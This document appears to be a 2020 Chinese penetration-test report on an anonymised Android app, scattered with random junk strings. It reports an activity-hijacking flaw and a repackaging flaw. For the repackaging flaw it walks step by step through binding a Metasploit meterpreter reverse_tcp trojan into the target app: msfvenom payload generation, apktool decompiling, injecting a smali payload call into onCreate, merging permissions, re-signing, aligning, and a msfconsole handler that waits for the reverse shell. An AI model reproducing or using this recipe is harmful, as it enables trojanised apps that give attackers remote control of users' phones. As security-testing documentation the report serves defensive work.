原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

2 O0 _3 j* h& S V) z, E + b# D9 g" O' N* x6 m

$ r5 H( j4 P' l: P
! \$ }9 }. o5 W

. _: n' V/ G+ l5 N3 T / O) q" D. H/ G. m

1 r/ Y2 E C6 r. c( j: b* h4 O

* j, V3 \) ~2 l' s# Y2 ]( T 文档编号：               

2 M* R* O3 U7 N ?5 ^$ l+ K5 O! C

  , Q/ O- K' a, v9 s _1 F% u9 e K6 P9 I$ ~% O7 n3 z& m

' J5 Y- H9 I1 b4 { $ G# i$ c: ~& L6 ~7 ~: Q

% b7 `( y0 B+ ~) E' m, ?   ! M+ K# M4 q3 N! Z- s

0 i! N" x% Q v" x2 u4 P/ `' r: u

, z$ U% J! R' P8 ]& K7 H# r & D! p+ l8 |0 r: r   - @8 K p' ]* l8 Q# w2 X" h* l ) R: G2 Z6 @: s- f4 N$ o3 t, F% J

) d4 s/ i" J3 O8 {' L2 r  

- Q% M& _ z! R* [; ?

$ B0 x* r+ c* C7 d' L3 ]   5 N, ]9 u2 `+ r- U) h; T0 G

! n% P' m/ D j* u" p5 m

某某某APP渗透测试 - }5 J. D$ A1 q- b* g

( R f; f% r$ z& v8 ~; e4 }& g1 a 8 x& s* J1 x4 `

/ x* ]+ ? J# U1 |4 E 5 D- |/ P1 \# X8 h. c% ^1 `   : @% ]5 A: J: c# X4 ]/ g- X % [6 D$ L0 g+ z! g% v, B# |

x7 E: h3 z$ F   * R0 L$ z( b3 j! o9 ]

\% `# E4 C4 D6 h3 T1 V 3 _+ p4 T+ G. l

/ h: q% X' P& J" S7 d/ x! { & S) g4 ?& z" o I3 Q" z; G   . B x( u8 y& O( f5 p4 k& S# n

$ R) H5 g; _' x2 N! U' V, j( |

  $ v- q$ x n* ?, V" ] ( [( G8 w" b) Y2 B+ M+ E

" y) P3 A! c5 ~! i$ H" M 技 术 报 告 $ M. z+ Q) A' R* H& e8 H : b3 ~4 p9 c6 T

0 |: ]' j" C: Z. h. `

4 U* U, g8 o, ` I/ ~5 \2 r   . p1 X( {+ t' i/ N ^' f

' V! @0 V: v% L& i

% I0 e; e! y" }2 g/ x0 f7 ~4 @4 b   6 n* `6 u. ^. }/ Z1 t% M0 \( J2 H " s1 S$ q2 D$ S, E; \# s* |

0 }% @% u# e- r / ~ g9 p7 x l, b8 b- ` i" F* [   2 l" d% M1 k. }$ k: q0 E

 

! @; c5 W3 e& n5 ~" h6 L  

* {! Y" m& C( `/ _ ) I }9 _8 L& }( o/ n- j

) ~5 |- [1 Y4 `. {   & ~* S' \; ~0 [! K$ A( W0 x

' k: n3 a* V; f: N2 m" } , y5 y: J4 S$ O) n" Y   5 A r: N; h2 _" g6 m! V2 |

7 `+ k& X- ?; v0 u! J; H7 ` % q3 G! k' D( F

: K% G$ A7 V8 k# Q" l x* c7 V   ) O& a% J: z4 u# _ ; k( c5 A' q; j; V! J

. n( H/ s+ ] T& C2 n" e' ?3 E / S$ D, r; ~3 N( R! ^

1 S6 w T9 N- G/ C& R1 S - k8 o- d! q$ q0 G8 r: Z; \  

, Q8 n2 }- R. s# \0 E; _/ v& }) W

 

& b e* {( C, y% _3 w

( q# R9 p0 J* x( A8 B/ ^   , e0 f; t( |6 t & V8 n7 z9 c% E

4 [" U: o$ u2 Y/ R8 t $ H; z8 f+ W& _; n& t

+ i$ x& h% Q* w: y! u   8 d' K9 w' O% c: w, \ 6 ?* x& j+ @" O5 p9 }1 Z @

5 y3 E$ L" u- j5 K3 i

% l5 X5 Z4 `$ I9 V) N1 Y- C; k   4 {+ @9 ]4 J) \' q

) m! @6 @' |' L3 |+ y3 }

  $ }5 h. i4 L. W- N: a Z( ^ 7 `8 U; L$ v0 s, J8 |

( @* r! Y0 |, y/ S1 ^ ' e$ z" [" y1 _/ y1 O0 o E

- }! j) G6 I1 B/ H& h- m; Z- c   7 W" |; l, X% o4 i. W3 P( `

: F) \& q( \9 a; H2 J

. z) M- g" E* c1 m. |* D [- j   2 |2 A w4 i3 i5 R+ D9 C1 D

! v/ `2 H; ]$ ]0 G/ u" L% Z, K7 L; R " c5 f) s! z2 C+ Z

2 v; q* f% B; k2 A6 e, M. w' m 5 g; d/ ^% m$ I# x% E& y; K9 m   ) B3 w8 @$ d+ ~* Z

. \9 x6 P) H3 L$ x/ v% n   + D' C: f! t5 H' [1 |

$ j" V+ ?; W3 w( x ; y, s# Z# K2 l8 x9 p M5 ~ 二〇二〇年

) _- T6 u. A& [4 u3 f+ U# \% G+ f
+ ?0 X9 x4 c7 o& J; m& O3 o( g3 C + ]8 Y! E) ]- }- s # V# `5 l/ ]# [+ H* ?

: g2 H% d4 c1 V5 a/ @# x 5 }" j+ g3 h- f% }% _( z6 v0 o0 M

1 W3 x9 b! V2 }5 I# e" N- o

1 S Y- P1 U$ G, O3 x6 _

4 F& o$ K2 G0 @8 |8 { 目 录 ; E- u0 p; [ {/ [- O4 Y7 w" L & T; a8 J* M; N) _+ a- O

5 @5 l& h* _6 W2 c " l2 P1 m) c% G: f1 v& v1 x   % u5 m1 c/ ]; R6 r0 w8 s

3 P; e }* @) l H$ `* S7 ` 2 e% A8 z4 s% a z+ J0 U( M$ K# P0 N- S

1 概述... 3 + d/ E3 X9 e! F1 b& C+ P

3 N! [3 ]+ b3 |& }7 C

# |5 ^5 `) w$ S6 T7 [2 {% F 1 ?6 \2 Y8 h+ Y- `& K& j 1.2测试时间... 3 0 @+ R! s; ^* Q. J3 [9 W

) F8 s" @) `* A7 f/ W- W

0 \! Y9 i) q* ?3 R! j8 M 1.3测试对象... 3 % C4 `6 t+ a& L5 K0 h 8 ~* z& k, {; x

4 @# L9 |( O2 [ 1 @* B' J6 L: c5 `5 p: e

9 P, g; M: K; q. W( r& Q) K2 z4 V 1.4测试结果... 3 2 P6 a- e5 ^' E; p+ @3 E

2 检测结果... 4 6 L: q9 u2 D! d1 ?3 o# f, v. p R

3 U" j+ V0 ~8 B2 K 5 r5 x" X9 j, B* K8 e

2.1 某某某... 4

$ r/ U: j1 e; d

/ Y9 _9 ~( s# i 2.1.1检测目标... 4

4 X0 I# r8 C3 v) y! X+ _) E

6 _" [9 r/ u# A. o% n0 | 2.1.2检测结果... 4

0 C$ F3 i1 e6 x : F( h2 s$ q! Y* r2 U

2.1.2.1. 4 " W. F5 e7 X2 N7 x; e

) }2 N) N! q& h

( X7 p6 \6 V. s1 U7 n 2.1.2.2. 6

, B, F# G! C/ i0 @2 _7 g! z

! ?$ |2 F, s) e4 S 2 @- T; A* X' {7 `1 ~

, M& R5 m& X2 R) t( l0 U# a& p

: Q; ?& ~$ w% ^" v3 b$ X 9 N, p' P. j& {

9 ?' |/ y- j" L' | ; W* J6 W" {' n 1 概述 $ g7 ?; T; D, Z

# I. S+ u# L( k! [9 c5 I ` / F" a R# i) x& b& I

: ?- M. \$ D4 {! u$ b0 Z) |2 e- l 1.2测试时间 " i7 o) U, L3 f/ R' B7 i. j% M

. W3 P. X6 P5 u* c# @+ F5 Q8 w \! a( R0 c$ Z5 Z# Q& z7 z# o+ k. t/ u( ?& ^. r3 ~* }' x0 N3 a- V' i! K Y! [5 l( n; |9 f- e/ h$ N" R- `) c4 g0 L! m0 J) J6 w) f; R% h) b- ~+ \6 a. o1 e9 S% F6 w& v1 k% z; W3 z- R9 |" _+ ~0 Z; }! Y2 d- ~: ^+ |" C' i( x8 ?9 R0 n9 t* K- \* @- m" `7 v8 P6 R4 t# M

C; I u5 B3 i: o: t9 \) s* N! E & Q& o6 |) Y/ M$ D% K& X2 c5 x 渗透测试时间 + V0 p. W( R# ?% ~ & n$ K' G' o! A+ w/ z2 ^0 w
4 J7 c, e0 `9 [5 m* O- b; `, U 起始时间 3 [6 {# B Y2 _	# c& }6 w, M9 t+ \% |8 [( K0 L2 u 2020年4月6日 3 B9 n( ]3 ^7 P: r8 X! n ; V7 r% _- A5 `+ q9 V- e6 @; G# m , |+ p9 F9 f: j$ I8 y2 t
结束时间 + t( U" [' b1 s# b* R @, O9 m: N. t) k 7 g! ~3 X( d ]. C3 J4 L4 D , d9 V# \# G0 D, t! U3 P! F0 v	# g% F# a8 K3 |- A $ d# ?: ]9 ?- O l! v: Z' \ 5 R# O; A7 N8 ` B; ^3 D1 g! B 2020年4月9日 - w! Y' t1 T2 r, c$ n

) v: j1 N" T. d# g0 `

$ b" l2 c( R5 P2 U 1.3测试对象

# G8 K' b+ T' l" Q2 i6 ~ 3 h$ v% G7 l6 j u) x! P5 f# W6 F

+ `. u1 e- B4 _2 |! y, U ( E8 r F* \% \. m/ b9 b* y' o4 x 此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示： 2 `9 D. u1 z5 o5 Y+ m1 I

+ L6 z) q& |( ~% Q 表1-1 检测对象 # q' u5 x( ?( Z; [

* a9 e. a4 o7 w, p; g : N' Q, v. y1 U8 d5 H& D V3 I( @& ]) U: s: P, P: z( X8 ~4 r7 l9 K! Q0 r' v, l4 z) l, e! K' @# H5 n! d3 _! M& ?. h$ H" y7 {8 Z0 F9 ~* D' t$ c4 ?7 i7 j8 { {! F S, ?8 B4 R* |# s& C1 S F+ u3 x2 m$ V( C+ L" p5 I# F" L8 l( k# `2 }8 u( f4 f* Q0 ?; {, X# R" T2 J* G) y1 R* l0 S% Q0 m& W% M- y& A$ W- r+ N3 O: S2 o7 o: Q' R ?' k5 ?4 [

. ^% z6 @0 ~5 l4 ~8 U1 B8 {) h, @ , ^/ ^9 Y6 m: ^9 J+ c 序号 / J$ Q/ J7 A5 a! V2 R + C; S" U* r, D! R/ [	J$ r$ D' y I ! Y# _. e% I2 i1 @, Z6 p9 k- M 测试对象 : `$ c4 _4 ]1 W3 G/ r 5 q+ N, ^- [1 \8 f# v	* Q; y" ]* U$ ]# I . J3 h* b6 M2 q8 T + F9 F: a: o, _7 _ Q 测试地址 8 h! ]; Q, _5 a1 y% j 9 w6 {- m) R& X! u 0 Z4 j; S9 w5 [4 \* O1 E3 `& p	|7 z- M1 b6 H- M# ^ 安全漏洞 , s0 i0 J& p6 e% W% r2 [# { 5 L0 n( }8 i) P8 c' O
6 J" x( f+ e6 J 4 t2 t: ?0 V# z9 A 1 7 Y0 S4 h$ R6 _. R0 j% G( U" H9 p! G 6 U, g. i& N; p ( _2 {- p' h5 g2 a0 ]. h	Y. S. x2 N) ~ G6 ] 3 g' o, d& q Y* b; P1 ] 2 V! z. m6 |; R. r4 | - x A) l( h2 K; B6 h: r2 b. i 某某某安卓APP ) v& A2 f0 A3 p0 {( r) Z( y 2 b) p9 k: O5 G	7 B, ?' x6 t7 |$ C" S9 N& ` 3 h( y5 D) `8 a1 p5 u; n * c% \+ l9 y1 B- e. g ; L' ~! k8 O9 _, i2 \8 O% C, C0 i   , v) r2 X1 v9 M/ x! |3 ^ - W* ~4 e; s3 s" c: [, v% J	4 L# E, }& T9 R( O 2 - V9 B# H5 G6 |$ J6 L, k$ N w * P# O8 V' T4 W

5 k% A) Q6 Y' c% r! [

1.4测试结果 1 a: ?1 f' @2 U+ E ?+ G7 ?& s4 q; Y

% m2 s) R, G7 G% }0 h 在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示： 8 E& [3 i' Y# b! \

8 g5 W( k! ?+ I- ~) T* w+ q   ) P7 l, p, I/ c# b: q! P

/ t0 E, t% G! @/ o

4 b' V# |: o& d2 F3 q5 L1 t7 | * L" @$ L& y8 U0 R2 U8 P2 y- d' S( E0 J" p& w* E% J6 `4 M7 U8 j. o- b3 t4 v0 w: F* Q5 Z' `0 m5 E0 \. {2 U2 B+ L* p8 H/ e, r6 T, ]( p; x4 g5 |+ A0 v( d8 S: v" u v8 ^) U/ @9 l3 e7 b' S9 s2 K( N4 W& s7 z: {- X" n: a( E! O" D; {' y8 ^, k; `( ]6 c8 V+ f* A1 P7 [# h0 l. b9 J* O7 H; W* P# ` ` _: U9 O" R8 p$ y% `; Y$ l: x' K" Y" r2 P. Q8 X/ }: S9 P) n8 j- t' Z% `1 E8 } Z3 x" h5 R5 S2 [/ i* p- p! G% h) U" o; r6 Y' a0 D) V P+ Q5 r0 C2 z% D; j: r* q8 f; q& h& r; Q$ n" o; X- ~/ P! U0 W: d# y, h" z; p7 H- m0 m3 b* Y

' _& `& `' ?- ?% K9 {2 M) m + z( e8 s! ] V) M( E* c 序号 ' s) j* ], [, h( u* M 5 a2 o2 P8 j" z- Z( p	系统名称 5 x, o0 }7 j- ^9 g ]$ T) o4 ?) j( r) l% ]( u	/ V( J$ F( x) T$ T/ ?* C% \ 漏洞名称 1 f l' t( U" W' Y# s6 o" W# [/ | 9 N+ D- Q* A) a8 A; C; C : m, A: O% d& U2 n3 R x* Q6 I	+ C" j6 P' m. ?- @& d* z8 K D$ i " m# ^6 ^4 k @ 漏洞危害 * d5 B+ T$ }4 P2 G' f: C + r+ p0 d7 w7 e# {" F" S j	1 g+ {& }7 d% v/ r( r% ~ 修复结果 9 r! A+ i4 K# W& W2 O
3 r! m: B6 Z: _( K3 Y( A; L+ ~% x# | 1 s( b7 x9 k- ]9 M# o$ Z 1 " {5 r' U$ C6 J7 V9 ^ * O. I# J3 I% m' u q/ c 5 V. [" B6 d$ w, s # X4 M) t. i7 e- B- V+ t. |	$ O, _/ s' N2 j8 Y 3 ~$ N+ G) }! Z 某某某某某某APP ' B' b1 }' U$ r! @; D8 P- l! v# q % A" u9 ~" h; K6 }. A% j+ z	& j* v/ F' D1 f& x* S Activity 劫持 ( D7 p% c, R8 l5 u# p, f4 {: D: [ 0 D8 ?5 s6 c/ z1 r% u ; i$ q+ D/ e" { T* w: H   ) a2 ]' ]( K) R$ C# ?" `2 b; Z; T	: A6 H7 C( @1 l' O ; W2 d6 ?9 |3 d h0 |. m) E4 I1 e, y( E# N 8 M5 c: g7 K8 W1 Z3 Y, y9 v/ l 高 ! \. G# V: X; ]5 q; J. g" @ 4 b# a4 }' x5 c9 v 3 x9 [/ x( k! f7 S9 _	, ~" N: D' Y+ C- _, G * B$ E) m8 b" L! d   ( Z& ~; F1 u) ^0 H$ ~: |! f 7 H' H0 h6 B/ h
9 y4 l0 X- I0 H3 ?" j7 A 2 / y; ^; ?5 L% C$ |* |4 ? 6 O1 B1 p: T$ }% w! _2 }4 u/ c	3 n1 T' s" n- q. s# x; p" ^ # F) i2 K! I9 ? p3 r% `/ ?" e8 {. l ' @( Q$ }7 A) T( W( |, e+ }4 n 某某某某某某APP . U% o1 f7 u7 e0 F	+ N- |9 c( W' B6 L 反编译二次打包捆绑木马、篡改APP代码 3 b0 `5 F1 l' M) a% a / l1 F2 J7 c1 I$ r) X7 {* o2 p	/ e6 ~+ l, X1 K" b! Y7 S + M; t, t) i& F. \8 U 高 ; Q6 D% b7 |+ ]4 d: g - L! N" m) S& F; E& W: q	) _# H6 A( `: j4 S0 b% D . ?1 i, G; |$ O% i" j; G$ _   9 ~, w) ^) Y0 q0 | $ h& c' Z& L& { ~/ {+ f" Y! A 2 o7 @; z/ @: Q9 X2 `

' T" X( b( J: a+ K2 k/ [

8 J7 Y1 _3 v8 ^: s/ c/ E5 o

) j4 c5 N7 u0 ]. ?8 C/ R/ H( B I! M. ^; n6 Q7 `# X( I# B$ A   - |* a1 }5 v J- q# [

" `5 g+ n1 E' z* G. }+ M; p" j( [

$ c1 B: i! F/ [; K$ X* n& P& D $ m, _6 p* D4 i* A 表1-2 测试结果 3 o+ i& D; b6 e; t- v+ ^# h h# k . E2 d6 E, w0 \7 l+ D, a

. F% O; @# w* k2 K, v

: [4 a0 s7 I, }   3 x( o" a" E1 g+ y3 |% \' l: | & w- d d6 L" K; ]

# i* N- Z5 f9 W! \# m4 O/ L

% Z$ L8 V W3 w0 `4 u 2 检测结果                    3 v& [7 ~( b3 A' R5 ?4 F

4 |# B M2 [9 ~2 c1 E& m9 h, [. C 8 M1 u D/ [0 M: H3 Q

5 j6 E! x* \! Q+ h. u7 X 2.1 某某某

" p& ]9 N* m& Z' L: \ 2 y4 Y. e+ j+ H: x/ T" i 2.1.1检测目标 1 ?1 e8 x: K4 M0 b; Z( m& @7 o5 \

& f2 H5 M/ a- d' R7 ^: a

; {" ]5 O8 s- ` 目标地址： 某某某某某某APP 6 w q, }8 ~8 y+ `2 X

/ x- Y; p/ n5 U$ {

, ?' k" b" U$ {. |8 a% u 2.1.2检测结果 " }! E' h0 y1 o

6 X( p9 W% q" @

5 D' p5 z& F) K% m2 _ 2.1.2.1 + B; e4 c: @0 Y# C3 T: v! V# v3 M

) v, u8 I* d8 ?+ ~1 F2 P% i

5 h$ w+ }. x; c, P9 k0 q 漏洞链接地址：某某某某某某APP

% O1 V) a9 w0 H

5 ?. y3 b p7 g% w / B/ ^& c8 l. G( l9 K; F. {& S9 g  

; Z8 A/ {% ?; |+ D6 ~

5 t1 L; C( X {0 V. b3 y 漏洞分析及取证： 7 Y/ d6 X- B& o9 |, U; J

7 ]7 t+ ]1 H- i) x) O7 v: r - a% v4 [0 ?" S: G4 @$ `

! d0 w9 @+ ?* t, B                  通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图：

6 n+ E E; {" R; s. w ( z% G3 m' t6 D& H. ?0 C0 i, K

5 c( D9 ^3 D2 Z6 w) V% C+ i" }' O      0 N' u# K0 x4 q; Y- H 6 }; B1 J2 b- A3 r. {) H

1 b9 Y: ?& a8 e3 ]' ^ 3 p- n5 {% g* t

- q7 Y( U' r( F* O                       % M/ O) ]8 z0 ~5 v) G4 N

% P2 A1 M' `4 w8 Q! p v : a+ `7 v/ z: i; R& r3 W0 S! b4 ~ ' z$ H! a$ q. [+ D! P" C , w4 t. X% d7 n% a3 v: A0 P, c

$ B" j. g# w/ ?6 |

& Y, q7 \# p R# ^0 [* g# } 8 u& z$ X9 k% R# c" S U! p 7 @$ H% i4 @2 b/ o7 `2 f- h9 N

d7 D* @- ?: h6 W

1 R4 s. ~1 [8 }5 \4 ?- O" i2 I0 [

1 ^6 } T' F6 I$ `; y7 s 漏洞危害：高 r/ T$ I8 d' u# G

0 c$ `7 g/ d8 i; S- i3 L $ y) k! _; B; f6 h& P& ?

/ m' P0 i. p& A) P $ L; y+ n$ B* b* v1 y' Z ( v& A; T; B+ e: K4 N0 M: C5 y8 K# D) \# `% n4 N: y# ~8 J' I1 N5 u3 z: [ y: _, e7 p, z( P9 [# J+ ^) {4 R2 ]& D- G9 M5 Y% ^, x5 @' e1 t: g& G* a3 ^1 f- N7 }, c; Z3 C% Y# z& y, ~5 ^7 W% n% H% F# g4 g t! T/ X1 ]: h; \# T; T. e0 L& o: @2 y9 y0 A- a* b9 r' |7 k& T; d9 V5 g4 m# v( L2 ?" c( w" x- U7 K1 o/ P8 x7 g0 n5 B5 C$ q) A& M

9 Y# q9 B: u* e5 p B" I _ 严重程度 l) @1 \1 U+ n4 D* S+ W( D % K0 l A3 n9 S( J' D3 D7 x 9 B. e* p3 q" y w$ e, F0 M8 F	- [! G v1 q1 J4 P4 y8 H 高 4 j" |5 k9 T' [$ f' r H9 `! W7 T ! r. c& v& H* W+ b: F3 R	+ N P1 z( _2 h! N ■ 7 c! U! j- Y% w5 n $ u: A. q+ ?) n- Y) n+ X5 _ $ z2 Z, {" |$ \2 g	$ ~2 A- G/ s; I$ V # _/ C6 N1 ` \8 `) C/ A 中 / B3 E, o' m% {; x! a% r5 i	* I8 O: ~, w0 E7 n* E , T3 u, q! i$ _. R( _   : t) ~9 r1 i8 ?' P i 6 E; z7 {. e' E! M' `3 l	1 A# H+ b! b* Y P( ^* F1 p {5 ?0 p # ]' b( s) r2 C% e0 Z E6 p 1 m& ?% s/ E9 A! C 低 - |5 ^7 l8 u, r4 H& }/ I / |$ ~& W1 D* Z8 x	2 E: M2 G9 D+ `5 y" ^7 P+ } 6 l1 X- a& ?2 \, v2 _3 U( U+ `   5 @' T4 O z( F$ { 1 y5 F2 Q6 r* B+ A! q6 S) ], p$ p+ j

. S6 H' Y1 y2 N! X/ L: |. }. i: a* H ; ]8 g6 ]: ^+ j/ l0 z% d% s

) [' Z6 R, ~" J& c4 V, L

4 H9 |9 s/ F# K; P0 ^- L4 n3 }, H   # m; w: f3 Z% q& J( R& A: Z1 X - N9 X0 P: j. V, V/ L

0 v/ [0 q. r, \$ t' [3 W

1 I2 _7 e9 s' E% B5 c* K) x, Q 修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。 2 ~0 W! M' ]. G) C4 C. f( v

. }" p' }3 X$ I

          + c3 C8 Y# x& S) P & Y- ^" D8 \7 T, p. _" M) U

1 c" ^( s: D% Q, {2 d F/ E

$ g' v# I. n" @2 H + h8 O( d" F9 X/ Y& \9 Z# g   ! N" x1 q. l) e4 x5 | F9 k$ I$ R7 R0 f

: p5 x/ y3 m$ Y% [

% A3 D) W* E2 S 7 |- |' E0 w! b' M: C9 o* J; K5 U4 p 2.1.2.2 8 q' r _8 b7 Q: B& G& i+ W

9 a- P: R) w5 D1 c% T: o 漏洞链接地址：某某某某某某APP 8 j' j) ?; I O; Z 2 u4 e* W; x" {) L% q8 f

5 m; X" `+ [. v9 e

; ^& d j/ d2 b# ^; }, i 漏洞分析及取证：

4 U# N( X8 d% Y2 x                  通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下： + K! T# y8 N; m7 | 6 }6 P8 `2 v9 N R3 M) ^

% u+ M- K9 V4 d# n 1 X- J7 ~. W. x! ]* Y

) m* g6 I* X, r5 o/ I4 m7 M 8 U2 \+ Z1 W G5 f* h; @# l; h 用Metasploit 生成木马 apk

/ g3 d" x# Z' e6 C+ q$ F9 Y msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk & ^4 Y% @1 Y# K2 }" p, H- C

0 W% c ^! F1 @1 j. ~- _ : F% T0 l5 |% K4 }( l

$ w5 d; ]/ K. z # V. b+ e# z4 @& c0 r) n. a 反编译目标apk和木马apk 4 n. J0 Y7 \( h% B2 d9 X: |, G

6 d) a/ h$ ^6 B; c

) F6 S/ ? l- a4 u# p2 C+ C 2 _! J3 ^& a9 n- j% S) | apktool d target.apk
apktool d cockhorse.apk ( E2 o, Q3 @7 ^. L8 d. i

4 `$ f; h/ _0 F) Z+ H5 S2 [1 |

# ~7 [7 C l: b+ p 木马 apk 注入目标 apk * P4 ?1 {0 G" m3 q$ U

& g0 g: j4 r4 b/ @ ) j4 Z+ @! X3 G" g+ [

! y+ Y, h" p- K( x ( a9 x+ h' H, V: R 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V : i D3 a$ }; y" k: K

1 z1 H7 x# {, J7 s 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复 4 M2 p$ S* Z3 I( M* t8 v F

将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下

7 g, y/ w9 i# o8 m: N7 d

4 u7 h/ G7 r# [: i 回编译生成最终 apk * Q/ R% c# t/ y$ f" }) K! O& S: K; f

' p7 H1 i+ y, J2 v4 T- d; a0 {

/ ?+ u$ W6 D- J8 D8 |( E3 k9 b 重新打包 # O' ?9 m: g3 m ; \0 i; _5 y2 V

7 w4 v+ g" J5 [0 }/ R9 t% t/ i& T$ M apktool b -o repackage.apk target_app_floder 5 m9 P! n. U" O1 \# x

! ]" C$ q! Y9 J

4 B5 [ O7 y* a" [% q7 f4 q# e' K 创建签名文件，有的话可忽略此步骤 : G$ v& i. C0 H0 f" o# w

; C) ^" m* r6 }+ H

/ B" h2 Y4 H, F! K0 T ~ keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000               

8 T3 x2 h) M1 R2 G7 d

签名，以下任选其一

4 v" u2 ^; q; J9 ~- } @& m 0 J2 [$ ^" o% X: T; R jarsigner 方式 7 `) w- R& n# r" p* J

5 x* H; _2 p0 h$ Y6 L

3 v- V( Q' ?0 n2 I4 {- | jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname + o, s# ^, T- J& l0 }9 l 4 C1 U! C) }+ r8 S

* F4 B6 a7 j: D g! v( A" q% j# O: r7 H apksigner 方式 i Z; P7 s; q5 G2 p& P

, N0 B+ u# r) B1 R& z

apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk / I5 t, d% i" ?$ c4 C

) R: U1 A5 B7 T

如需要禁用 v2签名 添加选项--v2-signing-enabled false 7 E. G6 M; z# z% L

\8 G: Q0 b& \8 P3 [$ N) J 验证，以下任选其一 / C9 |/ r- Q+ k3 `1 \ I

0 |3 V: [# K I0 Z

* ]; p; ~$ X# g" I5 A- }" M0 W6 ] jarsigner方式 1 h% w5 y4 I2 m! \

. L# T; s7 u" Z& |, `4 E # O! |" C/ A4 T# y6 y2 h

& N0 Y! M: I2 F. z; B jarsigner -verify repackaged.apk . g- X7 y' i- ]% z J

6 i) O# X P& Z% R8 T 9 ^4 }; N7 G( h. S% d: e! a

* h) X. y: D, V2 y( a* |! x 2 F6 O- Z8 Q3 b! H8 V apksigner 方式 - N3 f$ G& i) w- _' ?

8 S8 j; l! Q/ y9 I! `' T apksigner verify -v --print-certs repackaged.apk ; w4 X4 Q/ O5 R" X * m- G. u* l. l+ m r8 O& A

+ a/ x" E$ Q" o z

G% [$ f0 P2 ?. K& P* z keytool方式

7 O* T/ i9 a- m

' p- m) Q2 c% f, P1 P) {! m$ ^ keytool -printcert -jarfile repackaged.apk

3 \" {- E. `, W

" Z8 Q5 I# f4 z6 g, p3 L a3 F0 M 对齐 + j1 c5 v# p' r% \8 h: E% X 7 c: t/ w7 L; C+ h: c

! B" | \8 I+ ^$ n4 m

9 \ o- [. Y" `# a: N 字节对齐优化 % i, D- H$ b3 e 2 r5 v- U0 j1 T0 }; C4 `+ _

+ W4 I3 g1 @) ?0 A + }! _, g* P) X% k) h zipalign -v 4 repackaged.apk final.apk

T( @+ r( u. ?/ }

: s5 d. V, w% F 1 H6 K% y* G/ p+ H& ]7 F+ [ 检查是否对齐

/ ?. U4 V- @& u7 p8 ~3 R & p. x, E- f {+ w

9 E' w" n& S4 s: P + t+ `8 e1 b& ?6 c2 ^ @3 B9 T zipalign -c -v 4 final.apk 9 r# d' M) | t4 w" V |$ H

2 x: ?0 F& s. ?1 Y1 Z

3 l; Y% i& U# y& {6 h7 ^) B, d) v6 w 注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行 w7 G2 {& _% p! U! B. B* ]& ^

- _( z" i& X; A9 j3 V( x6 l y

0 d2 o5 e( D% v# N9 U- {) c6 }( }2 ^ 6 |1 h: E, o: Q& P 启动Metasploit控制台，配置参数等待上线 4 {& a- C; F' H5 M: G |# ^. {! e# ?

) N$ o2 ^! Z0 w+ ?. c, n

5 @: Z. z! a, ]3 T 在终端依次输入如下命令 . T, q/ |* l+ z2 @8 m$ k0 u! S

4 Z% c5 f. S( n5 ^5 g B6 i1 P

. q5 [- b; o) ], D: @% A, G ' q5 Z7 h7 B c9 f msfconsole

use exploit/multi/handler $ e8 K# N" N0 r/ P2 d - M: k4 @% R6 E( B n

+ n8 w8 z7 y2 Z

* S q" @+ Z; j- i. W% M0 H 1 _/ ^' P2 T6 l" J set PAYLOAD android/meterpreter/reverse_tcp

8 A, }( m4 S# Z9 X& ^ . _# S% O5 M" F3 o7 E4 [/ R2 H set LHOST 192.xxx.xx.xx 4 Y: F$ J# N. E1 g o& ^ 8 C. h6 N; N8 o

$ S u. Z9 P/ w# Q9 T9 s. L+ A + S4 j- L6 \# @6 _. ~- z$ a

Q. A5 {& D/ Y A% ] set LPORT 4444

. E$ h8 l) ^, R% {% k0 c, B

3 E! Q+ B3 h( Z' b- y exploit 8 z# ] j; n h$ J% z& E) F' K

# d6 M, Y% p, C$ q . y8 T9 j& U7 \3 \ ?' ~

# b8 v: b3 `! i- {: v# d9 `" K 之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：               $ j0 T5 X& W! ~3 b( d $ x) Y+ G$ l3 Y

K0 `: G, r7 [$ g

+ s9 H$ l! h4 O. }- J% s + n; @0 n$ |! @- x1 f( W 漏洞危害：中 ' C/ ~/ I+ _% F9 v" M( k# Z

4 h; d' k4 H* `7 \* Z T s

7 s- o" _* S% P, Z0 m & t$ U& i# ^5 h9 R+ p6 v " o( o1 F- H+ Z8 b* C4 o6 Q6 v3 X9 y+ j2 M% A; X! Q& u7 T% b) @& @* ], O% \/ X) z3 @4 K2 o- v) R) u1 ]0 @2 w5 _- M# {/ S2 f2 j) a F0 k* p# Z5 y3 c2 J; U! D7 G& { f0 D# A0 M$ b5 ]# w7 N3 T# d; S, {4 z# k3 w$ U+ R% \) O8 D, H W1 b( ^+ N- h: ^( C) J: B: A# X# d s u) k$ k# e- t% w; u4 u; V9 v" X9 R3 S2 O8 {+ r

